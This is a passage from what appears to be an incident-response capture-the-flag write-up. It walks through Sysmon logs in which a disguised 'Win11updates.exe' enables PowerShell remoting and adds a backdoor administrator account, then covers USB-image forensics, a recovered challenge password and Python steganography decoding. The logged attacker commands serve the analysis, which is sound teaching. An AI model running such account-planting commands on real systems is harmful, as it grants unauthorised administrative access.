ParentImage C:\Windows\System32\cmd.exe
ParentCommandLine C:\Windows\system32\cmd.exe /c "powershell.exe Enable-PSRemoting -Force" ParentUser JERRY-PC\Jerry
We see the process WmiPRvSE.exe which is associated with WMI Management Instrumentation. I belive this is also used by PSRemoting.
- EventData RuleName -
UtcTime 2023-07-23 23:11:15.310
ProcessGuid {3f0f5ad4-b38a-64bd-9800-000000003100}
ProcessId 3140
QueryName JERRY-PC
QueryStatus 0
QueryResults ::1;::ffff:10.240.240.4; Image C:\Windows\System32\wbem\WmiPrvSE.exe
User NT AUTHORITY\NETWORK SERVICE
We now see the previously created user "LittleNewman" being placed inside of the "administrators" group on the local computer.
- EventData RuleName -
UtcTime 2023-07-23 23:11:17.201
ProcessGuid {3f0f5ad4-b395-64bd-ad00-000000003100}
ProcessId 6340 Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine C:\Windows\system32\cmd.exe /c "net localgroup Administrators LittleNewman /add" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe
ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
As expected, net is called via cmd.exe.
- EventData RuleName -
UtcTime 2023-07-23 23:11:17.236
ProcessGuid {3f0f5ad4-b395-64bd-af00-000000003100}
ProcessId 8144
Image C:\Windows\System32\net.exe FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description Net Command
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName net.exe
CommandLine net localgroup Administrators LittleNewman /add CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=BB1AE49B6B7C53499E94613761A6AC56,SHA256=AFBE51517092256504F797F6A5ABC02515A09D603E8C046AE31D7D7855568E91,IMPHASH=D45C37A5C97135204AD6E116C34946C3
ParentProcessGuid {3f0f5ad4-b395-64bd-ad00-000000003100}
ParentProcessId 6340
ParentImage C:\Windows\System32\cmd.exe
ParentCommandLine C:\Windows\system32\cmd.exe /c "net localgroup Administrators LittleNewman /add" ParentUser JERRY-PC\Jerry
Then net1.exe is spawned by net.exe
- EventData RuleName -
UtcTime 2023-07-23 23:11:17.250
ProcessGuid {3f0f5ad4-b395-64bd-b000-000000003100}
ProcessId 2480 Image C:\Windows\System32\net1.exe
FileVersion 10.0.22621.674 (WinBuild.160101.0800)
Description Net Command
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName net1.exe
CommandLine C:\Windows\system32\net1 localgroup Administrators LittleNewman /add CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=CBF31BACECC4B17A1FE2D65BDC53F111,SHA256=1879DB2ABFF726A5438DD1AE48F20EBED736619C27A32526D09F70AF7EADD0E5,IMPHASH=76EE66A0F294EAB08DCAEF5E64FBF02F
ParentProcessGuid {3f0f5ad4-b395-64bd-af00-000000003100}
ParentProcessId 8144
ParentImage C:\Windows\System32\net.exe
ParentCommandLine net localgroup Administrators LittleNewman /add ParentUser JERRY-PC\Jerry
Little Newman is also being added to the "Remote Management Users" group also.
- EventData RuleName -
UtcTime 2023-07-23 23:11:17.275
ProcessGuid {3f0f5ad4-b395-64bd-b100-000000003100}
ProcessId 2500
Image C:\Windows\System32\cmd.exe
FileVersion 10.0.22621.1635 (WinBuild.160101.0800)
Description Windows Command Processor
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName Cmd.Exe
CommandLine C:\Windows\system32\cmd.exe /c "net localgroup "Remote Management Users" LittleNewman /add" CurrentDirectory E:\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-235a-050000000000}
LogonId 0x55a23
TerminalSessionId 1
IntegrityLevel High
Hashes MD5=5A6BE4D2519515241D0C133A26CF62C0,SHA256=423E0E810A69AACEBA0E5670E58AFF898CF0EBFFAB99CCB46EBB3464C3D2FACB,IMPHASH=D73E39DAB3C8B57AA408073D01254964
ParentProcessGuid {3f0f5ad4-b38d-64bd-9d00-000000003100}
ParentProcessId 5512
ParentImage E:\Win11updates.exe
ParentCommandLine "E:\Win11updates.exe"
ParentUser JERRY-PC\Jerry
In the interest of space and time, there is no need to show cmd.exe spawns net.exe and net.exe spawns net1.exe. We should be aware of this flow by now, based on all the analysis done so far. However, if you are still interested, see the map above.
We then see a file named "ssms.exe" which seems to be associated with "Microsoft SQL Server Management Studio 19" being launched.
- EventData RuleName -
UtcTime 2023-07-23 23:11:44.681
ProcessGuid {3f0f5ad4-b3b0-64bd-b700-000000003100}
ProcessId 6796 Image C:\Program Files (x86)\Microsoft SQL Server Management Studio 19\Common7\IDE\Ssms.exe FileVersion 19.1.56.0
Description SSMS 19
Product Microsoft SQL Server
Company Microsoft Corporation
OriginalFileName SSMS.EXE
CommandLine "C:\Program Files (x86)\Microsoft SQL Server Management Studio 19\Common7\IDE\Ssms.exe"
CurrentDirectory C:\Windows\system32\
User JERRY-PC\Jerry
LogonGuid {3f0f5ad4-b317-64bd-795a-050000000000}
LogonId 0x55a79
TerminalSessionId 1
IntegrityLevel Medium
Hashes MD5=EFA9FE326FD87239CD55FC6CFA2FB031,SHA256=F838835F72F3E05768530BE21E279901715B0DB2B726813658DB804FF368D58B,IMPHASH=B28D945C37B74021F14171C4E229AB7D
ParentProcessGuid {3f0f5ad4-b318-64bd-4500-000000003100}
ParentProcessId 3440
ParentImage C:\Windows\explorer.exe
ParentCommandLine C:\Windows\Explorer.EXE
ParentUser JERRY-PC\Jerry
Looks like when the tool was used, it found an SQL Server at 10.240.240.6. Remember, during the nmap scan, Newman did find port 1433 opened on 10.240.240.6. This port is typically associated with MSQL.
- EventData RuleName -
UtcTime 2023-07-23 23:12:27.268
ProcessGuid {3f0f5ad4-b3b0-64bd-b700-000000003100}
ProcessId 6796
QueryName MSSQL-SR
QueryStatus 0
QueryResults 10.240.240.6; Image C:\Program Files (x86)\Microsoft SQL Server Management Studio 19\Common7\IDE\Ssms.exe User JERRY-PC\Jerry
We now see WinRM Host process starting up. Interestingly, the user authenticating this time is LittleNewman against Jerry PC.
- EventData RuleName -
UtcTime 2023-07-23 23:13:10.952
ProcessGuid {3f0f5ad4-b406-64bd-c100-000000003100}
ProcessId 4000 Image C:\Windows\System32\wsmprovhost.exe
FileVersion 10.0.22621.1485 (WinBuild.160101.0800)
Description Host process for WinRM plug-ins
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName wsmprovhost.exe
CommandLine C:\Windows\system32\wsmprovhost.exe -Embedding
CurrentDirectory C:\Windows\system32\
User JERRY-PC\LittleNewman
LogonGuid {3f0f5ad4-b406-64bd-62c6-1b0000000000}
LogonId 0x1bc662
TerminalSessionId 0
IntegrityLevel High
Hashes MD5=36DFD6343147B4172539CB023EF56485,SHA256=30C91BE613CB8BF4A882DEB2D3B77C8ABC0C41617178BA3681CFA746DFCED273,IMPHASH=35C50CC7209A454799C998CDE17C6E24
ParentProcessGuid {3f0f5ad4-b311-64bd-0d00-000000003100}
ParentProcessId 876
ParentImage C:\Windows\System32\svchost.exe
ParentCommandLine C:\Windows\system32\svchost.exe -k DcomLaunch -p
ParentUser NT AUTHORITY\SYSTEM
We also see a Powershell script being executed and the target filename includes LittleNewman.
- EventData RuleName -
UtcTime 2023-07-23 23:13:11.047
ProcessGuid {3f0f5ad4-b406-64bd-c100-000000003100}
ProcessId 4000
Image C:\Windows\system32\wsmprovhost.exe
TargetFilename C:\Users\LittleNewman.JERRY-PC\AppData\Local\Temp__PSScriptPolicyTest_21oycspq.d2l.ps1 CreationUtcTime 2023-07-23 23:13:11.047
User JERRY-PC\LittleNewman
We are now beginning to see some of the evidence we saw earlier via the packet analysis. Below we see the "whoami" command was run. Notice all of this is being done using the LittleNewman account.
- EventData RuleName -
UtcTime 2023-07-23 23:13:16.542
ProcessGuid {3f0f5ad4-b40c-64bd-c300-000000003100}
ProcessId 1852 Image C:\Windows\System32\whoami.exe
FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description whoami - displays logged on user information
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName whoami.exe
CommandLine "C:\Windows\system32\whoami.exe"
CurrentDirectory C:\Users\LittleNewman.JERRY-PC\Documents\
User JERRY-PC\LittleNewman
LogonGuid {3f0f5ad4-b406-64bd-62c6-1b0000000000}
LogonId 0x1bc662
TerminalSessionId 0
IntegrityLevel High
Hashes MD5=E0F37DB23E4F3163159A815610DF8CF2,SHA256=574BC2A2995FE2B1F732CCD39F2D99460ACE980AF29EFDF1EB0D3E888BE7D6F0,IMPHASH=62935820E434AF643547B7F5F5BD0292
ParentProcessGuid {3f0f5ad4-b406-64bd-c100-000000003100}
ParentProcessId 4000
ParentImage C:\Windows\System32\wsmprovhost.exe ParentCommandLine C:\Windows\system32\wsmprovhost.exe -Embedding
ParentUser JERRY-PC\LittleNewman
Next attempt to validate the hostname. Once again, all of this is being done via the PS Remoting.
- EventData RuleName -
UtcTime 2023-07-23 23:13:19.898
ProcessGuid {3f0f5ad4-b40f-64bd-c500-000000003100}
ProcessId 8172 Image C:\Windows\System32\HOSTNAME.EXE FileVersion 10.0.22621.1 (WinBuild.160101.0800)
Description Hostname APP
Product Microsoft® Windows® Operating System
Company Microsoft Corporation
OriginalFileName hostname.exe
CommandLine "C:\Windows\system32\HOSTNAME.EXE"
CurrentDirectory C:\Users\LittleNewman.JERRY-PC\Documents\
User JERRY-PC\LittleNewman
LogonGuid {3f0f5ad4-b406-64bd-62c6-1b0000000000}
LogonId 0x1bc662
TerminalSessionId 0
IntegrityLevel High
Hashes MD5=26867C731CF949313F118FA0911789CB,SHA256=193D56937965C2EECC6556619CAC6B6CE7ADB1827D12830BFED1A7B038288613,IMPHASH=8CB84C534505B1E47EF25FA2CD9A16BB
ParentProcessGuid {3f0f5ad4-b406-64bd-c100-000000003100}
ParentProcessId 4000
ParentImage C:\Windows\System32\wsmprovhost.exe ParentCommandLine C:\Windows\system32\wsmprovhost.exe -Embedding
ParentUser JERRY-PC\LittleNewman
Transitioning to the USB Disk Analysis
Get the MD5 Hash of the USB image provided
$ md5sum usbstick.vhd 1ecc5c7b011770d185b714f6c6d7de0a usbstick.vhd
Make a copy of the USB image.
$ cp usbstick.vhd usbstick.vhd.ORIGINAL
Confirm that the MD5 sum of the two files are the same.
$ md5sum * 1ecc5c7b011770d185b714f6c6d7de0a usbstick.vhd 1ecc5c7b011770d185b714f6c6d7de0a usbstick.vhd.ORIGINAL
Get some information on the disk using the Linux file command.
$ file usbstick.vhd | fmt usbstick.vhd: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system", disk signature 0xcac87e69; partition 1 : ID=0x7, start-CHS (0x0,2,3), end-CHS (0x5,254,57), startsector 128, 96256 sectors
Using exiftool to take a different look.
$ exiftool ../usbstick.vhd ExifTool Version Number : 12.63 File Name : usbstick.vhd Directory : .. File Size : 52 MB File Modification Date/Time : 2023:07:23 19:28:58-04:00 File Access Date/Time : 2023:07:28 09:32:04-04:00 File Inode Change Date/Time : 2023:07:25 14:45:15-04:00 File Permissions : -rw-r--r-- Error : Unknown file type
Yet another perspective
$ fdisk --list usbstick.vhd
Disk usbstick.vhd: 50 MiB, 52429312 bytes, 102401 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xcac87e69 Device Boot Start End Sectors Size Id Type
usbstick.vhd1 128 96383 96256 47M 7 HPFS/NTFS/exFAT
Working on the usbstick.vhd file with Autopsy 4.20.0
Created a new case in Autopsy 4.20.0
Added a data source
AT first glance, we see the disk has 3 volumes of which 2 are unallocated:
Expanding volume 2 …
Looking at the files found, we see 2 images and 3 plain text files being reported.
Looking at the SID on the $RECYCLE.BIN we see a SID: S-1-5-21-2404277346-2099594652-1884649452-1010.
Looking at the log files, we see this SID is associated with the host at 10.240.240.5 which is associated with Newman's computer and account.
$ cat 10-240-240-5-events.csv | grep "S-1-5-21-2404277346-2099594652-1884649452-1010" | head --lines=5 TargetObject: HKU\S-1-5-21-2404277346-2099594652-1884649452-1010\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts.exe\OpenWithProgids\exefile TargetObject: HKU\S-1-5-21-2404277346-2099594652-1884649452-1010\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store\C:\Program Files (x86)\Nmap\zenmap\bin\pythonw.exe TargetObject: HKU\S-1-5-21-2404277346-2099594652-1884649452-1010_Classes\grvopen\shell\open\command(Default) TargetObject: HKU\S-1-5-21-2404277346-2099594652-1884649452-1010_Classes\grvopen\shell\open\command(Default) TargetObject: HKU\S-1-5-21-2404277346-2099594652-1884649452-1010_Classes\grvopen\shell\open\command(Default)
Looking into the file $IVM18SN.txt we see "D:\mynotes.txt"
But where is that file. I do not see that file at first glance on the disk.
Looking at the file $RVM18SN.txt, we see what seems to be a password.
The creation of this content is attributed to Newman because of the SID.
Learning a little bit more about this file via the "Data Artifacts" tab, we see originally it seemed to have been in the "d:\mynotes.txt" file
We still have not seen the mynotes.txt file as it was found in the recycle bin which suggest it was deleted. We also know it is in the root of d:\drive as this was the letter provided.
Looking at the root of vol2 as this is the only partition of interest at this time.
At this point, we have found the original file and can export it.
We also see "vessel.png". When this is extracted, we get:
We also see what looks like an alternate data stream via vessel.png:hidden.
Extracted the file and attempt to identify that Alternate Data Stream is being used:
C:\Users\securitynik\Documents>dir vessel.png_hidden /R
Volume in drive C has no label.
Volume Serial Number is 9A7A-30CD Directory of C:\Users\securitynik\Documents 07/29/2023 12:06 PM 398 vessel.png_hidden
1 File(s) 398 bytes
0 Dir(s) 46,440,538,112 bytes free
This does not seem to be using Alternate Data Stream. However, we did see it was a .RAR file from the image above. Leveraging 7zip to open this file.
When I opened the file with 7zip it asked for a password. Time to take advantage of the credentials which were found earlier "r3c0v3r1ng_d3l3t3d_d4t4_1s_fun". Hey Jean, couldn't you have chosen an easier password?! Guess you wanted to ensure no one was able to easily guess the password. Good job!
This created a file named "instructions.txt", with the following context.
"Hello ! I am glad you got my message :) So the data from that pesky Jerry and his friends is inside the image and should be 629 bytes long. Remember, every 3 bits is where it's at!"
Guess this means I have to revisit the image.
Code to recover the message
# Read the file containing the image
fp = open(file=r'c:/tmp/hidden.png', mode='rb') # Convert the raw bytes to hex
raw_bytes = fp.read().hex(sep=' ', bytes_per_sep=1).split(' ') # Close the file
fp.close() # View the length of the file to ensure it is the same as the size on disk
print(len(raw_bytes))
557903
# Get a view of some of the raw bytes raw_bytes[:10]
['89', '50', '4e', '47', '0d', '0a', '1a', '0a', '00', '00']['89', '50', '4e', '47', '0d', '0a', '1a', '0a', '00', '00']
# Convert the raw bytes to a list of bits
int_list = [ int(byte, 16) for byte in raw_bytes ] # Get a snapshot
print(int_list[:10])
[137, 80, 78, 71, 13, 10, 26, 10, 0, 0]
# Convert those numbers to bits bit_list = bit_list = [ format(item, '0>8b') for item in int_list ] print(bit_list[:10])
['10001001', '01010000', '01001110', '01000111', '00001101', '00001010', '00011010', '00001010', '00000000', '00000000']
# Condense the bit list to smash it all together
bits_condensed = ''.join(bit_list) # Get the first 100 bits
bits_condensed[:100]
'1000100101010000010011100100011100001101000010100001101000001010000000000000000000000000000011010100'
# Now extract every third bit
#bits_by_3 = bits_condensed[::3]
#bits_by_3
bits_at_3 = []
index = 0
for i, value in enumerate(bits_condensed):
if index <= len(bits_condensed)-10:
index += 3
#print(index, bits_condensed[index-1])
bits_at_3.append(bits_condensed[index-1]) # Get the first 100 bits
print(bits_at_3[:25])
['0', '0', '0', '1', '0', '1', '1', '0', '0', '1', '0', '0', '0', '0', '1', '0', '0', '0', '0', '0', '1', '0', '0', '0', '0']
# Condensed the bits
bits_at_3_condensed = ''.join(bits_at_3) # Get the first 100 bits
bits_at_3_condensed[:100]
'0001011001000010000010000000001100000100000000000100000000000000000000000000000000100010000000000001'
# Get the bits expanded to recreate the bytes
bits_expanded = [ bits_at_3_condensed [i:i+8] for i in range(0, len(bits_at_3_condensed), 8) ] # Get the first 100 bits
print(bits_expanded[:10])
['00010110', '01000010', '00001000', '00000011', '00000100', '00000000', '01000000', '00000000', '00000000', '00000000']
# Convert the bits to int values
# https://stackoverflow.com/questions/58016378/is-there-a-way-to-convert-bit-to-int
bits_to_int = [ chr(int(value, 2)) for value in bits_expanded ] # Get the first 100 bits
print(bits_to_int[:10])
['\x16', 'B', '\x08', '\x03', '\x04', '\x00', '@', '\x00', '\x00', '\x00']
# Get the final bytes final_bytes = bytes(' '.join(bits_to_int), encoding='utf-8') final_bytes[:30], len(final_bytes)
(b'\x16 B \x08 \x03 \x04 \x00 @ \x00 \x00 \x00 " \x00 \x1c \x12 \xc3\x8f',
464930)
The above returned 464930 bytes. I know the note stated it is 629 bytes. So the expectation would be to extract the first 629 bytes from above. I did not go this route.
# Convert these values to hex final_bytes.hex(sep=' ', bytes_per_sep=1)
'16 20 42 20 08 20 03 20 04 20 00 20 40 20 00 20 00 20 00 20 …
Above shows the bytes.
# Write these bytes out to a file fp = open(file=r'c:/tmp/3bits.txt', mode='wb') fp.write(final_bytes) fp.close()
It is sad to say but after extracting the third bit and putting every thing together, I was not able to recover the message. Time to reach out to Jean, to understand where I went wrong.
After reaching out to Jean for clarity/hint on what the ask really is, he mentioned in setting up the challenge, he focused on the pixel value. Interestingly, this is the one area that seems to have caused many folks to question their analysis. It is the one area we provided the most hints.
Changing my approach.
from PIL import Image import numpy as np
Look at the image pixels from the perspective of Numpy matrix.
img_pixels_vals = np.array(Image.open(fp=r'c:/tmp/hidden.png')) img_pixels_vals
array([[213, 231, 181, …, 209, 231, 245],
[209, 231, 245, …, 245, 245, 245],
[245, 245, 245, …, 245, 245, 245],
…,
[ 28, 28, 28, …, 224, 224, 224],
[ 32, 32, 32, …, 224, 224, 224],
[ 42, 42, 42, …, 224, 224, 224]], dtype=uint8)
Get the shape of this array.
img_pixels_vals.shape
(1024, 1536)
Let's flatten the matrix above and squeeze the dimensions. Squeezing brings it down to 1 dimension. At the same time, print the length of the flatten array.
# Let's flatten the matrix above and squeeze the dimensions Squeezing brings it down to 1 dimension img_pixels_flat = img_pixels_vals.reshape(1, -1).squeeze() Print out the bytes and get the length of the flatten pixel img_pixels_flat, len(img_pixels_flat)
(array([213, 231, 181, …, 224, 224, 224], dtype=uint8), 1572864)
Get these pixel values as bits. Print the first 100 bits or 3 bytes
# Get these pixel values as bits
pixel_bits = ''.join([ format(pixel, '>08b') for pixel in img_pixels_flat ]) # Print the first 100 bits or 3 bytes
pixel_bits[:24]
'110101011110011110110101'
# Extract every 3 bits again.
pixel_bits_at_3 = []
index = 0
for i, value in enumerate(pixel_bits):
if index <= len(pixel_bits)-10:
index += 3
pixel_bits_at_3.append(pixel_bits[index-1]) # Get the first 25 bits
print(pixel_bits_at_3[:16])
['0', '1', '1', '0', '1', '0', '0', '1', '0', '1', '1', '0', '0', '1', '0', '0']
# Condensed the bits once again
pixel_at_3_condensed = ''.join(pixel_bits_at_3) # Print the first 24
pixel_at_3_condensed[:24]
'011010010110010000100000'
# Get the bits expanded to recreate the bytes
pixel_bits_expanded = [ pixel_at_3_condensed[i:i+8] for i in range(0, len(pixel_at_3_condensed), 8) ] # Get the first 24 bits / 3 bytes
print(pixel_bits_expanded[:3])
['01101001', '01100100', '00100000']
# Print the first 629 bytes as the hint suggested
print(''.join([ chr(int(value, 2)) for value in pixel_bits_expanded ])[:629])
id : 1 Name : Peterman Catalog Phone : 6479991234 PrimaryContact : Jacopo Peterman Email : contact@peterman.com id : 2 Name : Yankee Stadium Phone : 6478881234 PrimaryContact : George SteinBrenner Email : contact@yankees.com id : 3 Name : Vandalay Industries Phone : 6477771234 PrimaryContact : Art Vandalay Email : contact@vandalay.com id investment_amount company_secret -- ----------------- -------------- 1 150000 dogcatalog 2 320000 secondteam 3 69000 sunumbrellas
That's the end! I find this to be a very exciting challenge as it covered many areas of Incident Response.
My Jupyter Notebook for this decoding can be found on my GitHub.
References:
https://stackoverflow.com/questions/34412754/trying-to-remove-non-printable-characters-junk-values-from-a-unix-file
https://www.man7.org/linux/man-pages/man1/tr.1.html
https://github.com/mikefarahttps://learn.microsoft.com/en-us/sql/t-sql/functions/suser-sname-transact-sql?view=sql-server-ver16
https://theserogroup.com/sql-server/whos-the-sql-server-database-owner-and-how-can-you-change-it/
https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-tables-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-database-principals-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-principals-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/system-catalog-views/sys-server-permissions-transact-sql?view=sql-server-ver16
https://en.dirceuresende.com/blog/sql-server-como-utilizar-o-execute-as-para-executar-comandos-como-outro-usuario-impersonate-e-como-impedir-isso/
https://learn.microsoft.com/en-us/sql/relational-databases/security/trustworthy-database-property?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/databases/master-database?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-ver16
http://sp-configure.com/tips-tricks/sp_configure-command/
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/t-sql/statements/enable-trigger-transact-sql?view=sql-server-ver16
https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-dropsrvrolemember-transact-sql?view=sql-server-ver16
https://www.iana.org/assignments/icmp-parameters/icmp-parameters.xhtml
https://learn.microsoft.com/en-us/sql/t-sql/statements/create-trigger-transact-sql?view=sql-server-ver16
https://www.mssqltips.com/sqlservertip/5995/how-to-create-modify-or-drop-a-sql-server-trigger/
https://learn.microsoft.com/en-us/sql/t-sql/statements/execute-as-transact-sql?view=sql-server-ver16
https://linux.die.net/man/1/nmap
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.3
https://stackoverflow.com/questions/1425493/convert-hex-to-binary
https://stackoverflow.com/questions/10411085/converting-integer-to-binary-in-python
https://www.instructables.com/Hiding-Data-Inside-an-Image-Using-Python/
https://www.youtube.com/watch?v=TWEXCYQKyDchttps://betterprogramming.pub/image-steganography-using-python-2250896e48b9
https://vigrey.com/blog/encoding-information-into-images